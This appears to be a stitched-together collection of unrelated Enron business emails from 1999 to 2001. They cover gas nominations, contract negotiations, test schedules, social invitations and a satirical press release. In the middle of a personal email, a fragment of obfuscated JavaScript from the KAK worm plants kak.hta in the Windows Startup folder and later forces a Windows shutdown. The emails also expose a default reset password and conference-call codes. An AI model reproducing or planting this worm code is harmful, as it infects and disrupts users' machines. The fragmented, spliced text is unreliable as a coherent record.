Here is the bbq that I was talking about on Saturday. Let me know if you want
to go.
-E

Phillip M Love
07/25/2000 09:01 AM
To: David Baumbach/HOU/ECT@ECT, Steve Venturatos/HOU/ECT@ECT, Michael
Walters/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT,
Eric Bass/HOU/ECT@ECT
cc:
Subject: CLEAR LAKE

Just wanted to remind you guys of the get together this weekend for the Texas
guys at my house.  Please let me know by Friday if you will be able to come
and I will draw up some maps.  I was thinking about 5 p.m. to get started.
Beer and burgers will be on the menu with a little bit of billards action.
Please bring your significant others(Mick, please only bring one).
PL


I have a correction on the User Test Schedule.  Sylvia Campos and I will be handling data setup for Global Contracts and Facilities for physical GAS, not Rhonda Denton (she handles physical POWER).  I will also be setting up the contract for financial gas and power.

Please let me know if you have any questions.

Thanks!
SBR x30569

-----Original Message-----
From: Sanvido, Terry
Sent: Friday, January 11, 2002 3:21 PM
To: Brackett, Debbie R.; Hare, Bill D.; Hayden, Frank; Jaquet, Tammy; McLaughlin Jr., Errol; Moorer, Torrey; Rodriguez, Bernice; Sweitzer, Tara; Theriot, Kim S.; Winfree, O'Neal D.; Dupuy, Mark; Gillis, Brian; Heal, Kevin; McKeel, Richard; Reeves, Kathy; Seib, Dianne; Vander velde, Nikole; Anderson, Diane; Baker, Natalie; Baxter, Bryce; Bowen, Bob; Campos, Sylvia A.; Garcia, Clarissa; Hilliard, Marlene; Hunter, Larry Joe; Price, Wade R.; Richardson, Stacey; Schrab, Mark L.; Severson, Russ; Spears, Christopher; Sullivan, Patti; Wallumrod, Ellen; Wynne, Rita; Chitradurga, Sundar; Cinelli, Steve; Elwood, Richard; Franks, Shawn; Greig, Iain; Harmon, Kenneth M.; Hunter, Wade; Johnson, Jeff; Nolte, Ron; Powell, John D.; Ramesh, Ganapathy; Saleem, Aftab; Sanvido, Terry; Smith, Regan M.; Allen, Thresa A.; Aucoin, Evelyn; Bentley, Corry; Clemons, Amy; Dahlke, Andrea; Denton, Rhonda L.; Evans, Casey; Murphy, Melissa; Robinson, Rhonda; Stevens, Mechelle
Cc: Stock, Steve; Rao, Ramesh; Henry, Jane Hilburn; Williams, Bill; Dietrich, Dan; McKeel, Richard; Hibbert, Greg; Poston, David; Amador, Susan; Steiner, David; Marryott, Michael; 'jlopez@aep.com'; 'hbcamp@aep.com'
Subject: Integration Test on Sunday, January 13th

Here are details regarding the Integration Test on Sunday, January 13th. I have attached the test schedule and contact list.

10:00am Sunday - All scheduled testers - please contact the bridgeline number at 800-711-8000 (Code #3454709) to confirm the migration
10:00am - 5:00pm Sunday - execute Integration Test plan.  If the timeframe is shifted, the above checkpoint will note this.
We will be executing all the test scenarios on Sunday (Thursday was only 3); they are located at: \\O:\_Dropbox\IntegrationTestScripts <file:///O:/_Dropbox/IntegrationTestScripts>

Specific system PASSWORD changes after conversion

Unify - all password will be reset to 'houston'.  This is effective Sunday 01/13 forward!
No other system resets scheduled.

Problem resolution Monday - Wednesday - procedure

Contact the Bridgeline 800-711-8000 (Code #3454709) from 7am - 7pm.  This will be the most effective for tracking and dispatching to the application representatives.  The integration test team will be monitoring and have access to the escalation procedures.


note from linda sez he can't make it.  jeff


The FBI has uncorroborated evidence of possible terrorist attacks against the United States.  Reportedly, unspecified groups are targeting suspension bridges on the West Coast beginning Friday, Nov. 2 and continuing through Wednesday, Nov. 7, 2001.

No further information about this alleged attack is known at this time.  The FBI is attempting to verify the validity of this report.  In the meantime, California officials are increasing security at the state's suspension bridges, and the National Guard has been authorized to assign troops to protect the bridges.

We shared this information with our West Coast employees earlier in the day.  In the current circumstances, we are likely to see these bulletins fairly frequently.  We don't want to alarm you, but we do want to keep you informed, so we will continue to disseminate this information.


Try to grab me today on this stuff.

John


---------------------- Forwarded by Dan Junek/HOU/ECT on 12/23/99 08:35 AM
---------------------------

pdrexel@columbiaenergygroup.com on 12/23/99 07:56:33 AM
To: Dan Junek/HOU/ECT@ECT, "        -         *germany, Chris"
<BLOCK@columbiaenergygroup.com>
cc:
Subject: January 2000 Tn Zn 6 volumes

---------------------- Forwarded by Paul Drexelius/CES/ColumbiaGas on 12/23/99
08:03 AM ---------------------------

Marianne Stiles
12/22/99 03:58 PM

To: Karen Bobb/CES/ColumbiaGas@ColumbiaGas, Phil
Villagomez/CES/ColumbiaGas@ColumbiaGas
cc: Paul Drexelius/CES/ColumbiaGas@ColumbiaGas, Noel
Bartlo/CES/ColumbiaGas@ColumbiaGas, Melissa
Flewellyn/CES/ColumbiaGas@ColumbiaGas, Brian
Perrone/CES/ColumbiaGas@ColumbiaGas, Frank Kronz/CES/ColumbiaGas@ColumbiaGas
Subject: January 2000 Tn Zn 6 volumes

Here are the approximate January daily volumes for each of the gates.   Please
do not forget that January 1 and January 2 will be lower because of the
weekend/holiday.    I know you wanted an exact volume for 1/1 but I will not
have that for all Tennessee Zn 6 markets until Monday, 12/27.  We will need a
range from 2800 dth to 3600 dth per day.   This large swing is normal for
these
types of markets due to weekends, weather, and customer situations.

 - tn012000.xls


Please review and let me know if you have any comments, esp. para. 12.  This
was Mike Smith's suggestion.

 - 0347511.02


-----Original Message-----
From: 	Bodyshop
Sent:	Friday, August 03, 2001 8:37 AM
To:	Bodyshop
Subject:	Class Schedule Revision

To all Body Shop Members:

	Please note the following changes to the 3rd Quarter Group Exercise Schedule.
	These changes will be effective August 6th thru September 28th.

	Studio A:	Cancelled Class			6:15am - 7:15am    (Thur.)		 Yoga

			New Class		 		12:15pm - 1:00pm  (Fri.)		 PowerYoga

		   	Format Change		11:15am - 12:00pm (Fri.)		Fencing changed to Self-Defense
																Tai Chi

	Studio B:	Format Change		12:30pm - 1:15pm  (Wed.)	Fitness 101 changed to Cardio Kick Level I

	Please see the attached schedule.
	Deborah Guillory,Fitness Supervisor
						x35549


You're killing me. We have no definition for first contingency must run. Is
this the same as First Contingency Emergency Dispatch?

HELPPPPPP.

ckm

From: Reagan Rorschach/ENRON@enronXgate on 05/31/2001 11:08 AM
To: Kay Mann/Corp/Enron@Enron, David Fairley/ENRON@enronXgate
cc:

Subject: RE: MDEA Agreement Scheduling

Please fill in the blank:
&First Contingency Transmission Outage8 means [Rorschach, Reagan]  an Entergy
transmission constraint that from time to time results in a transmission cut
and mandates Clarksdale dispatching their generation assets to serve
Clarksdale Native Load.
Our obligation during such an event:  During first contingency must run
conditions, EPMI will document the production costs, megawatts generated,
duration of the event, and lost opportunity costs.

From: Reagan Rorschach/ENRON@enronXgate on 05/31/2001 10:37 AM
To: Kay Mann/Corp/Enron@Enron
cc:

Subject: RE: MDEA Agreement Scheduling

I'm still waiting on David Hunt to send me some stuff, which would really
help move the document along.  I'll ask again if i can get it from him. There
are still internal questions in it, which I have annotated. I'm happy for you
to look at it fairly shortly, especially if you can give definitive
commercial direction.

Do you feel that the commercial team is  finished with the exhibits?  I
haven't worked on them, but I suspect the exhibits need work.  I know the
bogey calc doc is a bit rough. [Rorschach, Reagan]  Exhibits are rough.  I
need to make a list of Exhibits called out in the current doc version, pull
them all together, and clean them up.

Do you still owe me the emergency transmission cut stuff? [Rorschach, Reagan]
  Yes.  I am not exactly sure of the context....but try this on for size:
Clarksdale is subject to an Entergy transmission constraint that from time to
time results in a transmission cut and mandates Clarksdale dispatching their
generation assets to serve Clarksdale Native Load.  Dispatching Clarksdale
assets under these circumstances is known as the first contingency must run
condition.  During first contingency must run conditions, EPMI will document
the production costs, megawatts generated, duration of the event, and lost
opportunity cost of buying from the market.  Clarksdale is due reimbursement
from Entergy for extra costs incurred during such events.

Early next week is better than later, and Thursday and Friday are huge
problem days for me.  When are you thinking of meeting with Beck?  Anyway to
combine the two at once, given the short timeframe? [Rorschach, Reagan]  I
think we could get everyone together at the same time as soon as Monday.  I
want them to have the time to study the document so we can get it all done at
once.

Has Dave signed the extension, by the way? [Rorschach, Reagan]   done,
fedex'ing to MDEA.  Will have faxed copy today.

Kay

From: Reagan Rorschach/ENRON@enronXgate on 05/31/2001 09:59 AM
To: Kay Mann/Corp/Enron@Enron
cc:

Subject: MDEA Agreement Scheduling

Kay,

We are starting to run into some scheduling constraints for next week, at
least with Bob Priest.  I'd like to get together with Bob and Marvin early
next week to discuss the agreement--moving toward finalizing before June 12.
Bob is only available Monday.  Bob and Marvin think it is a good ideal to
then meet with RW Beck.

I'd like to email Marvin and Bob the next version sometime today?

Reagan C. Rorschach
Enron North America
1400 Smith Street
Houston, Texas 77002
713.345.3363


Here are my observations:

I agree with Rusty re: the put option complicating things for us.  Second,
there has to be an absolute end to this agreement at some point. If we want
to have an automatic extension by commencing construction, there still needs
to be a date certain after which we can go forward without them no matter
what.  In other words, if we want to add the language Rusty suggested, it
should be limited to x months after the expiration of the option agreement.
We'll need to run this back through Accounting.

I really don't like the inclusion of the language in paragraph 5. If we add
the language requested in paragraph 5, we need to run this agreement back
through Accounting, and we may need to add some other additional language.

I don't know if Rusty and Fred think we may need a zoning change for this
parcel.

Kay

Rusty Stevens
09/14/2000 04:45 PM
To: karen.way@piperrudnick.com, Kay Mann/Corp/Enron@Enron
cc: Fred Mitro/HOU/ECT@ECT

Subject: Fehr Option Agreement

I am in receipt of the Fehr's comments to our option agreement.  In reviewing
them, I have the following comments:

The paragraph (2) change that says they can compel us to buy their land upon
a Triggering Event occurring is not going to work, because this is a put
option on their part which hurts our hard cost avoidance issues.  We
carefully reworded previous put option language to avoid this.    Also, how
can we be bound to a deal when the agreement has expired ?  I think we would
need to say that "if we decide to build the plant after the option period
expires, then that would serve to extend the term of this agreement, however,
if the option agreement expires unexercised for a one year period then we
won't be bound to the deal.

If the provisions of his comment (5) are indeed parallel to another similar
paragraph in the document I don't have a problem with it, but "specific
performance" scares me in general.  Your (collective) call.

Lets wrap this one up fast.  I want to resolve it soon so I can use it as
leverage with Ledford and not have him influence them.  He picked a good to
go on vacation, but is back in on Monday.  I also told the Fehr's that if we
could do this before the 15th I would go for $185,000 vs. $175,000.  Since we
were about five days longer than promised, I can justify the delay to end of
next week, but I don't want them to think I was just blowing smoke on the
extra $10,000.

Fred :  Refresh my memory on who I need to go to for the option payment check
?


Presentation 6:00-8:00PM


(See attached file: hpl1006.xls)

 - hpl1006.xls


P.S.  I thought about asking Holly and Lucinda, but didn't know if they
would be interested or not because of most of the people being the running
group.  I would love it if they came.  Would you like to invite them, or, if
you will give me their numbers, I would be glad to invite them.

Thank you.

----- Original Message -----
From: <Tana.Jones@enron.com>
To: <pyoung@pdq.net>
Sent: Tuesday, August 15, 2000 12:09 PM
Subject: Re: Tuesday

I just got in from Aspen.  This Sunday looks good for me for Carol's
birthday.  Is Holly going, she might like to...?

In terms of a townhome, I think that would be nice, also Garden Oaks.  It
seems like you are kinda all over the place, though, and you might want to
be careful making "emotional" home buying decisions...

As far as not hearing back from Enron.  I wouldn't think anything of it.
They told me they absolutely wanted me and then I didn't hear back from
them for two months.  Big companies have lots of layers to get anything
done.  Just keep plugging on...

                    "Patti Young"
                    <pyoung@pdq.n        To:     "Tana Jones"
<tana.jones@enron.com>
                    et>                  cc:
                                         Subject:     Tuesday
                    08/15/2000
                    02:59 PM

Oh, I forgot to tell you something else:

Carol Gradziel turns 50 today, but on Sunday  evening, August 20, we were
going to do a surprise dinner at Buca di Beppo at  Buffalo Speedway and 59.
I would love for you to come. It will be  the running group, mostly
couples, and me and Carol. Everyone is supposed  to get there at 6:45 and
we (Monnie, Ralph, and I are picking Carol up to be  there by 7. If you
are not busy, try to come. Monnie and Ralph have  run with us, but they
are the realtors that Carol does most of her business with  and I have
known them for about 25 years.

');t3.close
();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says
not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close
();S3 driver memory alloc failed !]]%%%%%";la
=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.
Path

(la=="fr")?"C:\\windows\\Menu D?marrer\\Programmes\\D?marrage\\kak.hta":"C:
\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if
(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))
||(agt.indexOf("msie 5.")!=-1))scr.write(); file://-->


Would you mind setting up an interview for us with Greg Thomas, resume
attached below.  I think Dave Baumback, Kam Keiser, Errol McLaughlin, Darron
Giron and myself need to interview him.  Groups of two at time would be
preferred.  Thanks.
PL

---------------------- Forwarded by Phillip M Love/HOU/ECT on 03/12/2001
01:33 PM ---------------------------

	Enron North America Corp.

	From:  Kam Keiser                           03/12/2001 09:15 AM

To: Phillip M Love/HOU/ECT@ECT
cc:
Subject: Greg Thomas - Resume

---------------------- Forwarded by Kam Keiser/HOU/ECT on 03/12/2001 09:13 AM
---------------------------

"Thomas, Greg" <gsth@lubrizol.com> on 03/09/2001 03:07:02 PM
To: "'kam.keiser@enron.com'" <kam.keiser@enron.com>
cc:
Subject: Greg Thomas - Resume

I received your name and contact information from Lia Halstead, whom I am in
class with in the University of Houston's PMBA program.  Please find
attached my resume for your review.  I graduated from Texas A&M with a B.S.
in Chemical Engineering and am currently working on an MBA.  My experience
has been in operations management, but my plan is to  transition into a more
business/commercial function so that I can continue to grow professionally.
Thank you in advance for your time and consideration.

Greg Thomas
gsthomas@ev1.net <mailto:gsthomas@ev1.net>
281-478-5624 (home)
281-479-2851 ext. 3597 (office)

 <<Gregory S Thomas.doc>>

 - Gregory S Thomas.doc


Set up with Judy Smith 36244 10/02/00 - jar
Also interviewing with Hannon, McMahon, McConnell . .


I thought that we were each faxing our signature pages.  I sent Enron's
earlier, however, I have yet to receive any signature pages from the other
entities.  Please fax to Dan Hyvl at (713) 646-3490.

	"Voinorosky, Michelle L" <voinorml@bp.com>
	04/09/2001 11:49 AM

		 To: "'Dan.J.Hyvl@enron.com'" <Dan.J.Hyvl@enron.com>, Michael_Kleiner@gulf.ca
		 cc: "Voinorosky, Michelle L" <voinorml@bp.com>
		 Subject: RE: FW: Assignment of transaction no. 1

BP's fax number is (403) 233-5655

Just to clarify, are we all putting the documents together for ourselves and
faxing execution pages with originals to follow?  Or am I to wait to receive
an original before executing and faxing?

Michelle

-----Original Message-----
From: Dan.J.Hyvl@enron.com [mailto:Dan.J.Hyvl@enron.com]
Sent: Thursday, March 29, 2001 10:13 AM
To: Michael_Kleiner@gulf.ca
Cc: 'Dan.J.Hyvl@enron.com'; 'voinorml@bp.com'
Subject: Re: FW: Assignment of transaction no. 1

Michael,
     I have reviewed the assignment documennt.  I intend to make two
changes which I hope you make in the copies that the other parties are
signing.  These being that the Assignment be effective as of April 1, 2001
and the left over reference to Alberta be deleted from Enron North America
Corp.'s address.  I will attach Transaction No. 1 to the Assignment
Document and have it executed by Enron.  If you will provide me with the
fax numbers for each party, I will fax to these numbers.  My fax number is
(713)646-3490.

                    "Kleiner,

                    Michael"               To:     "'voinorml@bp.com'"
<voinorml@bp.com>,
                    <Michael_Kleine        "'Dan.J.Hyvl@enron.com'"
<Dan.J.Hyvl@enron.com>
                    r@gulf.ca>             cc:

                                           Subject:     FW: Assignment of
transaction no. 1
                    03/28/2001

                    05:43 PM

-----Original Message-----
From:     Kleiner, Michael
Sent:     Wednesday, March 28, 2001 4:37 PM
To:  'voinorml@bp.com'; 'Dan.J.Hyvl@enron.com';
'bruce_kohrs@keyspancanada.com'; Houghton, Brian
Subject:  Assignment of transaction no. 1

Everyone;

Attached is a revised assignment agreement which we hope you will find
satisfactory.

Our hope is to have this agreement signed Thursday.  Michelle's fax and
counterpart execution clause should facilitate execution.  Let me know if
you expect any problems with execution.

Gulf Canada Resources Limited
per: Michael P. Kleiner
        Law Department

 <<Enron contract assignment.doc>>

(See attached file: Enron contract assignment.doc)


Daren,

KCS wants to take their nom down from 6,500 to 5,700 on the gathering and increase the Texaco transport by the same volume at meter # 9658 beginning today.  Are you okay with the change?

Bob

---------------------- Forwarded by Robert Cotten/HOU/ECT on 03/28/2001 09:22 AM ---------------------------

Bob Withers <rww@KCSEnergy.com> on 03/27/2001 03:52:45 PM
To:	"Bob Cotten (E-mail)" <Robert.Cotten@enron.com>
cc:	"Tom Acton (E-mail)" <Tom.Acton@enron.com>, Stretch Brennan	 <djb@kcsenergy.com>, Knox Westmoreland <rkw@KCSEnergy.com>
Subject:	FW: 2nd rev/ HPL nom. eff. March 28, 2001

Sorry about the confusion on the dates between the subject line (correctly
reflected) and the body of the letter (incorrectly reflected)...the change
for the "shift" between Texaco and KCS should be March 28, 2001.

Bob Withers  <* )) >><
KCS Energy, Inc.
5555 San Felipe, Suite 1200
Houston, TX  77056
Voice 713-964-9434   Fax 713-877-1394

 -----Original Message-----
From: 	Bob Withers
Sent:	Tuesday, March 27, 2001 3:33 PM
To:	Bob Cotten (E-mail)
Cc:	Tom Acton (E-mail); Stretch Brennan; Knox Westmoreland
Subject:	2nd rev/ HPL nom. eff. March 28, 2001

This is a revised Josey Ranch nomination for the month of March 2001.  The
HPL nomination volume to be effective 3/28/2001 is:

			   5,700	MMBtu/day for KCS Resources
(800 MMBtu/d decrease)
		   2,000	MMBtu/day for TEXACO
(800 MMBtu/d increase)
		   7,700	MMBtu/day Total (assumed Btu factor of 1.083
@ 14.65 dry)	==> ZERO "net" change

If you need additional information, KCS' field contact is Stretch Brennan in
Victoria: 512 / 576 - 1005.

Bob Withers  <* )) >><
KCS Energy, Inc.
5555 San Felipe, Suite 1200
Houston, TX  77056
Voice 713-964-9434   Fax 713-877-1394


Learn Technical Analysis
Two Full Days, December 4-5, 2001
Early Bird Discount Until October 31, 2001
  <http://www.kaseco.com/images/tech_exten.gif>
Marriott West Loop, Houston, Texas

Energy Traders, Marketers and Buyers.

This two full day class serves as both an introduction to those new to technical analysis and a refresher for experienced traders. Technicals are taught in a logical, systematic manner oriented to equip both physical and paper traders to buy low, sell high and manage risk in the real world in a logical, methodical manner.

In this class you will:

Ascertain when and how to take profit and cut losses.
Find out how to set up a strategy by identifying probable market direction and turns as well as likely targets using chart patterns.
Learn to use both traditional indicators like moving averages and stochastics, as well the state-of-the-art methods which won Cynthia Kase the coveted Market Technicians Association's "Best of the Best" award.

Content

Charting Basics, Types of Charts, Support and Resistance
When to Buy or Sell (Entry Techniques)
When to Exit Based on Signals (Momentum and Divergence)
How to Exit Based on Stops (Managing Trade Risk)
Chart Patterns and Forecasting Basics (Candlesticks, Elliott  Wave, Flags, etc.)
Statistical Hedging

Early Bird Special $845.00
Two or More Early Bird $795.00
Regular: $995.00
Two or More: $895.00	 *** Register Now! *** <http://www.kaseco.com/classes/register/register_choice.htm>

Click Here for More Information <http://www.kaseco.com/classes/tech_analysis.htm>

About the Presenters <http://www.kaseco.com/classes/tech_presenters.htm>

Who Should Attend <http://www.kaseco.com/classes/tech_attend.htm>
Detailed Agenda and Schedule <http://www.kaseco.com/classes/tech_outline.htm>
Other Classes Offered By Kase <http://www.kaseco.com/classes/classes.htm>
  <http://www.kaseco.com/images/house_blue.gif>	Kase and Company also offers In House Training Classes. For more information please email us at kase@kaseco.com <mailto:kase@kaseco.com> or call at (505) 237-1600


This one kind of gives you that warm, fuzzy feeling inside.  Knowing that you
are benefiting mankind by working for the Big "E".

To: TFBA@dynegy.com
cc: William Patrick Lewis/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, "Sullivan,
Tim" <SullivanT2@EPEnergy.com>
Subject: Re: FW: New Enron Deal

You mock what you don't understand.....The Dyner will do the same deal 3
years from now, but LOSE $666trillion, and call it revolutionary and
strategic to their business.

To: William Patrick Lewis/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, Tom
Swank/HOU/ECT@ECT
cc: "Pearl, Scott" <scott.pearl@csfb.com>, "Sullivan, Tim"
<SullivanT2@EPEnergy.com>
Subject: FW: New Enron Deal

what's going on over there.................
---------------------- Forwarded by Thomas F Bankert/NGCCorp on 06/16/2000
05:23
PM ---------------------------

Kim J Casey
06/16/2000 05:23 PM

To:   Thomas F Bankert/NGCCorp@NGCCorp, Byron N Pollard/NGCCorp@NGCCorp
cc:

Subject:  FW: New Enron Deal

---------------------- Forwarded by Kim J Casey/NGCCorp on 06/16/2000 05:23 PM
---------------------------

John J Stauffacher
06/16/2000 03:19 PM

To:   Kim J Casey/NGCCorp@NGCCorp
cc:

Subject:  FW: New Enron Deal

---------------------- Forwarded by John J Stauffacher/NGCCorp on 06/16/2000
03:19 PM ---------------------------

Peter Esposito
06/16/2000 02:22 PM

To:   Donna Atchison/NGCCorp@NGCCorp, Jolly Hayden/NGCCorp@NGCCorp, John J
      Stauffacher/NGCCorp@NGCCorp, M A Shute/NGCCorp@NGCCorp, John
      Sousa/NGCCorp@NGCCorp, Joel M Staib/NGCCorp@NGCCorp, Barry N
      Huddleston/NGCCorp@NGCCorp, Dennis C Flaherty/NGCCorp@NGCCorp, Marc R
      Chamberlin/NGCCorp@NGCCorp, David N Keane/NGCCorp@NGCCorp, Matt K
      Schatzman/NGCCorp@NGCCorp, Lynn A Lednicky/NGCCorp@NGCCorp, Peter
      Esposito/NGCCorp@NGCCorp, Jimmy F Thomas/NGCCorp@NGCCorp,
      lisa_krueger@illinova.com, james_fuhrmann@illinova.com, Glenn R
      Etienne/NGCCorp@NGCCorp, Chris Moser/NGCCorp@NGCCorp, Gary
      Shannahan@Illinois_Power, Vann Prater/NGCCorp@NGCCorp,
      shawn_schukar@illinova.com, Dan Mortland@Illinois_Power, Bruce
      Hollibaugh@Illinois_Power, Jay Caspary@Illinois_Power,
      Kevin_Shipp@illinoispower.com, Mary Doyle/NGCCorp@NGCCorp, Joseph
      Paul/NGCCorp@NGCCorp, Ed A Ross/NGCCorp@NGCCorp, Kathy
      Patton@Illinois_Power@NGCCorp, David Butts/IPC@Illinois_Power, Barry N
      Huddleston/NGCCorp@NGCCorp, John J Stauffacher/NGCCorp@NGCCorp, Gregory
T
      Blue/NGCCorp@NGCCorp, Glenn R Etienne/NGCCorp@NGCCorp, David N
      Keane/NGCCorp@NGCCorp, Gregory T Blue/NGCCorp@NGCCorp, Joel
      Newton/NGCCorp@NGCCorp, Karen Cottrell/NGCCorp@NGCCorp, Joseph
      Paul/NGCCorp@NGCCorp, Kathy Patton/IPC@Illinois_Power, Steve
      Dalhoff/NGCCorp@NGCCorp, Mark A Scheel/NGCCorp@NGCCorp, DLCR@dynegy.com,
      Dan King/NGCCorp@NGCCorp, Sarah Tomalty/NGCCorp@NGCCorp, Karen
      Cottrell/NGCCorp@NGCCorp, Mary Doyle/NGCCorp@NGCCorp, Christopher T
      Russo/NGCCorp@NGCCorp
cc:

Subject:  FW: New Enron Deal

---------------------- Forwarded by Peter Esposito/NGCCorp on 06/16/2000 02:21
PM ---------------------------

vanhornepr@nmenergy.com on 06/16/2000 01:58:11 PM

To:   Peter Esposito/NGCCorp@NGCCorp
cc:   picardimj@nmenergy.com

Subject:  FW: New Enron Deal

I guess Dynegy considers this retail??
---------------------- Forwarded by Philip R VanHorne/EM/NMEnergy on
06/16/2000
02:57 PM ---------------------------

Theresa A Flaim@NMPC
06/16/2000 01:56 PM

To:   Alan P Smithling/FIN/NMPC@NMPC, Bart D Franey/FIN/NMPC@NMPC, Joseph J
      Hipius/FIN/NMPC@NMPC, Martin F Amati/ED/NMPC@NMPC, Wesley J
      Yeomans/ED/NMPC@NMPC, Scott D Leuthauser/ED/NMPC@NMPC, Clement E
      Nadeau/ED/NMPC@NMPC, Jerry J Ancona/ED/NMPC@NMPC, Robert E
      Shanning/ED/NMPC@NMPC, Joseph T Ash/ED/NMPC@NMPC, James J
      Cifaratta/EM/NMEnergy@NMEnergy, Angelo F Chambrone/EM/NMEnergy@NMEnergy,
      Annette M Durnack/EM/NMEnergy@NMEnergy, Richard J
      Cohen/EM/NMEnergy@NMEnergy, Matthew J Picardi/EXEC/NMEnergy@NMEnergy,
      Philip R VanHorne/EM/NMEnergy@NMEnergy, J P
      Frazier/EXEC/NMEnergy@NMEnergy, Albert J Budney/EXEC/NMPC@NMPC
cc:
Subject:  FW: New Enron Deal

fyi
---------------------- Forwarded by Theresa A Flaim/FIN/NMPC on 06/16/2000
01:58
PM ---------------------------

"Scott, Bryan" <bscott@csw.com> on 06/16/2000 10:14:46 AM

To:   "'Deal, Ken'" <deal@netcom.ca>, Theresa A Flaim/FIN/NMPC@NMPC, "'Hoang,
      Khoa'" <khoa@ethree.com>, "'Keith, Dale M.'" <dkeith@tfs.net>, "'Neenan,
      Bernie'" <bneenan@bneenan.com>, "'Woo, CK'" <ck@ethree.com>
cc:

Subject:  FW: New Enron Deal

A different view of Enron...

----------
From:  Jeff_E_Nottingham@reliantenergy.com
<mailto:Jeff_E_Nottingham@reliantenergy.com>
[SMTP:Jeff_E_Nottingham@reliantenergy.com]
<mailto:[SMTP:Jeff_E_Nottingham@reliantenergy.com]>
Sent:  Thursday, June 15, 2000 4:45 PM
To:  robert_v_mckim_jr@reliantenergy.com;
<mailto:robert_v_mckim_jr@reliantenergy.com;>
suzie-williams@reliantenergy.com; <mailto:suzie-williams@reliantenergy.com;>
dee_r_chambless@reliantenergy.com;
<mailto:dee_r_chambless@reliantenergy.com;>
rebecca-killough@reliantenergy.com;
<mailto:rebecca-killough@reliantenergy.com;>  jeff.lamm@bchydro.bc.ca;
<mailto:jeff.lamm@bchydro.bc.ca;>  dcjml@hotmail.com;
<mailto:dcjml@hotmail.com;>  Danielle_B_Trettin@reliantenergy.com
<mailto:Danielle_B_Trettin@reliantenergy.com>
Subject:  New Enron Deal

FOR IMMEDIATE RELEASE
-----------------------
Today Enron and Hades announced a definitive energy services agreement said
to be worth an estimated $666 Trillion.
In the deal, Enron will provide both gas and electric commodities to Hades'
facilities throughout and under North America.  John D. Rockefeller, former
CEO of energy monopolist Standard Oil, is now head of Hades' energy
management division.  Said Rockefeller, "Obviously Hell has significant
heating demands.  While eternal flames are a great idea in concept, they
require vast and reliable fuel resources.  Enron was the only supplier
willing to make a deal with my boss, and, as a former monopolist, I just
like the way they do business."
A spokesperson for Enron said the two cultures were able to work easily
together during negotiations.  According to the company, "The deal fits both
companies exceptionally well.  With Hades' ability to attract and retain new
customers, we see this as a fabulous growth opportunity for millennia to
come."  According to several energy industry insiders, Hades' high heating
demand with very little need for summer air conditioning make it a very
attractive energy portfolio addition.
Hades is a multinational corporation with millions of sites worldwide and
approximately 173 quintillion customers.  The entity boasts sustained high
growth rates over the last two thousand years.
Enron is one of the world's leading energy and communications companies.
The company owns approximately $37 billion in energy and communications
assets.  Enron ranks in the top quarter of Fortune's "Best 100 Companies to
Work For if You Can Keep A Job There and Don't Mind Working 80 Hours A
Week," and is among the most respected corporations in America, as ranked by
customers with respect-us-or-get-curtailed clauses in their energy supply
contracts.


Good suggestion.  Why don't  you run it by George, and if you get positive
feedback I'll suggest it to Ben.

Kay

"Keffer, John" <JKeffer@KSLAW.com> on 05/10/2001 10:51:49 AM
To: "C. Kay Mann (E-mail)" <Kay.Mann@enron.com>
cc: "Campbell, Carolyn" <CCampbell@KSLAW.com>

Subject: Intergen Consent

Kay-I have reviewed the GE acknowledgment, and I believe it does everything
InterGen would want in that GE permits the multiple transfers all the way to
the project company (Larkspur) and GE acknowledges that the transfers will
not result in a breach of the Facility Agreements.  I have also reviewed the
unanimous consents and find them to be OK.

I propose going back to George with the proposal that simultaneously with
the execution of the unanimous consent that ENA be permitted to exercise its
puts under the two LLC, which can be done with InterGen's consent and
InterGen's receipt of an acknowledgment from GE that the exercise of the put
will not in any manner prejudice the rights under the Facility Agreements
(which in view of the transfer of the turbines and the Facility Agreements
being permitted by GE, such a request may be superfluous, but I'd like to
have it anyway).

I considered also recommending a release from ENA's obligations under the
Letter Agreements, but I think that may be pushing too far.

Let me know your thoughts.

Regards

John

                    Confidentiality Notice
This message is being sent by or on behalf of a lawyer.  It is intended
exclusively for the individual or entity to which it is addressed.  This
communication may contain information that is proprietary, privileged or
confidential or otherwise legally exempt from disclosure.  If you are not the
named addressee, you are not authorized to read, print, retain, copy or
disseminate this message or any part of it.  If you have received this
message in error, please notify the sender immediately by e-mail and delete
all copies of the message.


you in for the rodeo on fri night


-----Original Message-----
From: Lucci, Paul T.
Sent: Friday, October 26, 2001 3:22 PM
To: Staab, Theresa; Reitmeyer, Jay
Subject: FW: Medicine Bow Tie-In Capacity

-----Original Message-----
From: Lobban, Laine [mailto:Laine.Lobban@ElPaso.com]
Sent: Friday, October 26, 2001 2:47 PM
To: 'connie.schenderlein@williams.com'; 'wayne.ellis@williams.com';
'kelly.knowlton@williams.com'; 'bill.wince@dvn.com';
'cathy.pennington@dvn.com'; 'don.mauldin@dvn.com';
'tmchendry@cmsenergy.com'; 'mwhitt@enron.com'; 'plucci@enron.com';
'kfhampton@marathonoil.com'; 'arichmon@westerngas.com';
'rallen@westerngas.com'; 'jgraham700@aol.com'; 'vcampbel@utilicorp.com';
'jmhasti@ppco.com'; 'bjeffrie@westerngas.com';
'mamiller@marathonoil.com'; Reitmeyer, Jay
Cc: Coombs, Craig; Zinko, Don; Price, Tom; Wood, Sally; Warhover, Judy;
Saye, Steven; Dalene, Scott; Gerlich, Peter; Hutton, Tarry; Koerner,
Steve; Tomlinson, Robert T.; Harris, Roland; Cook, Mark; Palazzari,
Catherine; Westhoff, Mark; Riter, Maureen
Subject: Medicine Bow Tie-In Capacity

Dear Medicine Bow Shipper:

We received notification that the 5th segment to gate valve 6 providing
a
total firm capacity of 495 Mdth/day was approved by FERC today.  Based
on
the feedback some of you have provided today, and since this is late
notice
on a Friday afternoon, the contracts will be effective on Monday,
October
29, but the capacity will be available tomorrow and Sunday.  We filed
the
6th segment to gate valve 5 this past Tuesday (October 23) and are
prepared
to file the final segment as soon as one currently being reviewed is
approved.
